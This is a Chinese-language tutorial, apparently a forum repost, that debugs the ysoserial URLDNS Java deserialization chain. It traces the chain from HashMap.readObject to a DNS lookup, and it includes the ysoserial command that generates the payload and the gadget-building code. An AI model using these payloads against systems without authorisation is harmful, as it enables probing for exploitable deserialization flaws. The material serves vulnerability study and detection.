02URLDNS链

ysoserial简朴入手

简朴了解ysoserial

• ysoserial是一个天生java序列化payload的工具
  
• 大抵使用方式如下
  
  
  
  • 可以查看可用的利用链
    
  
  
  
  
  
  • 天生序列化对象,并输出到文件
    
  
  

1. # URLDNS为利用链,http://test.io为要执行的命令,当然这里由于URLDNS的特殊性,不能执行命令,这里的链接只是进行一次dnslog,payload.bin则是将序列化对象输出到文件
2. java -jar ysoserial-all.jar URLDNS http://test.io > payload.bin

复制代码

ysoserial的对于URLDNS的简朴调试

前面对于ysoserial的使用只是直接天生了攻击的序列化对象,我们并不了解整个攻击链的形成,借助对于ysoserial源码的分析,我们可以了解整个攻击链是如何形成的.我们可以通过调试ysoserial的源码,了解一条序列化链从天生到执行的全过程.

• 下载搭建项目
  
• 找到URLDNS的相干类
  

• 大概是作者为了方便大家调试,这里在idea中直接运行该类包罗序列化和反序列化两个过程,也就是天生和利用一步到位.运行时记得设置参数,这里设置的为dnslog的目标.
  

接下来让我们简朴分析一下URLDNS序列化和反序列化的过程:

• URLDNS.main调用PayloadRunner.run(URLDNS.class, args)
  
• PayloadRunner.run(URLDNS.class, args)中通过反射获取URLDNS.class实例,然后通过getObject得到要序列化的对象
  
• 调用相干工具类Serializer.serialize(objBefore)序列化对象
  
• 调用相干工具类Deserializer.deserialize(serialized)反序列化对象,利用完成
  

分析URLDNS

• 直接在反序列化处下断点,对其举行调试,这里我们也不大概去复现最初发现者的发现流程,我们就根据已知的信息,是HashMap的readObject函数中的putVal(hash(key), key, value, false, false);触发了漏洞,在该处下一个断点,分析其前后的调用链
  

1. // PayloadRunner调研相关工具类反序列化对象
2. final Object objAfter = Deserializer.deserialize(serialized);
4. // 反序列化的方法
5. public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
6.                 final ObjectInputStream objIn = new ObjectInputStream(in);
7.                 return objIn.readObject();
8.         }
10. // 反序列化目标HashMap对象自身的readObject,在putVal(hash(key), key, value, false, false);的hash(key)进入下一步,key是URL类
11. private void readObject(ObjectInputStream s)
12.         throws IOException, ClassNotFoundException {
14.         ObjectInputStream.GetField fields = s.readFields();
16.         // Read loadFactor (ignore threshold)
17.         float lf = fields.get("loadFactor", 0.75f);
18.         if (lf <= 0 || Float.isNaN(lf))
19.             throw new InvalidObjectException("Illegal load factor: " + lf);
21.         lf = Math.min(Math.max(0.25f, lf), 4.0f);
22.         HashMap.UnsafeHolder.putLoadFactor(this, lf);
24.         reinitialize();
26.         s.readInt();                // Read and ignore number of buckets
27.         int mappings = s.readInt(); // Read number of mappings (size)
28.         if (mappings < 0) {
29.             throw new InvalidObjectException("Illegal mappings count: " + mappings);
30.         } else if (mappings == 0) {
31.             // use defaults
32.         } else if (mappings > 0) {
33.             float fc = (float)mappings / lf + 1.0f;
34.             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
35.                        DEFAULT_INITIAL_CAPACITY :
36.                        (fc >= MAXIMUM_CAPACITY) ?
37.                        MAXIMUM_CAPACITY :
38.                        tableSizeFor((int)fc));
39.             float ft = (float)cap * lf;
40.             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
41.                          (int)ft : Integer.MAX_VALUE);
43.             // Check Map.Entry[].class since it's the nearest public type to
44.             // what we're actually creating.
45.             SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
46.             @SuppressWarnings({"rawtypes","unchecked"})
47.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
48.             table = tab;
50.             // Read the keys and values, and put the mappings in the HashMap
51.             for (int i = 0; i < mappings; i++) {
52.                 @SuppressWarnings("unchecked")
53.                     K key = (K) s.readObject();
54.                 @SuppressWarnings("unchecked")
55.                     V value = (V) s.readObject();
56.                 putVal(hash(key), key, value, false, false);
57.             }
58.         }
59.     }
61. // 又调用了URL的hashCode()
62. static final int hash(Object key) {
63.         int h;
64.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
65.     }
67. // handler.hashCode(this)又调用了URLStreamHandler的hashCode
68. public synchronized int hashCode() {
69.         if (hashCode != -1)
70.             return hashCode;
72.         hashCode = handler.hashCode(this);
73.         return hashCode;
74.     }
76. // 关注InetAddress addr = getHostAddress(u);继续跟进
77. protected int hashCode(URL u) {
78.         int h = 0;
80.         // Generate the protocol part.
81.         String protocol = u.getProtocol();
82.         if (protocol != null)
83.             h += protocol.hashCode();
85.         // Generate the host part.
86.         InetAddress addr = getHostAddress(u);
87.         if (addr != null) {
88.             h += addr.hashCode();
89.         } else {
90.             String host = u.getHost();
91.             if (host != null)
92.                 h += host.toLowerCase().hashCode();
93.         }
95.         // Generate the file part.
96.         String file = u.getFile();
97.         if (file != null)
98.             h += file.hashCode();
100.         // Generate the port part.
101.         if (u.getPort() == -1)
102.             h += getDefaultPort();
103.         else
104.             h += u.getPort();
106.         // Generate the ref part.
107.         String ref = u.getRef();
108.         if (ref != null)
109.             h += ref.hashCode();
111.         return h;
112.     }
114. // 实际上调研了URL类的getHostAddress
115. protected InetAddress getHostAddress(URL u) {
116.         return u.getHostAddress();
117.     }
119. //  hostAddress = InetAddress.getByName(host)已经很直观了,从方法名和变量名就可以看出从host获取ip,就进行了dns查询
120. synchronized InetAddress getHostAddress() {
121.         if (hostAddress != null) {
122.             return hostAddress;
123.         }
125.         if (host == null || host.isEmpty()) {
126.             return null;
127.         }
128.         try {
129.             hostAddress = InetAddress.getByName(host);
130.         } catch (UnknownHostException | SecurityException ex) {
131.             return null;
132.         }
133.         return hostAddress;
134.     }

复制代码

• 前文中,URLDNS序列化和反序列化的过程中,通过URLDNS类的getObject获取了要反序列化的对象,在分析完了URLDNS链反序列化的过程后,让我们分析一下该方法
  

1. public Object getObject(final String url) throws Exception {
3.                 // SilentURLStreamHandler是我们继承URLStreamHandler实现的一个类,这里没有什么实际意义,只是为了满足new URL类时的参数要求
4.                 URLStreamHandler handler = new SilentURLStreamHandler();
6.                 // HashMap的readObject是触发漏洞的直接原因
7.                 HashMap ht = new HashMap();
8.                 URL u = new URL(null, url, handler);
9.                 ht.put(u, url);
11.                 Reflections.setFieldValue(u, "hashCode", -1);
13.                 return ht;
14.         }
16. static class SilentURLStreamHandler extends URLStreamHandler {
18.                 protected URLConnection openConnection(URL u) throws IOException {
19.                         return null;
20.                 }
22.                 protected synchronized InetAddress getHostAddress(URL u) {
23.                         return null;
24.                 }
25.         }

复制代码

URLDNS的特殊意义

• URLDNS没有用到其他第三方库类,如果有反序列化点,可以用于探测反序列化漏洞是否存在
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。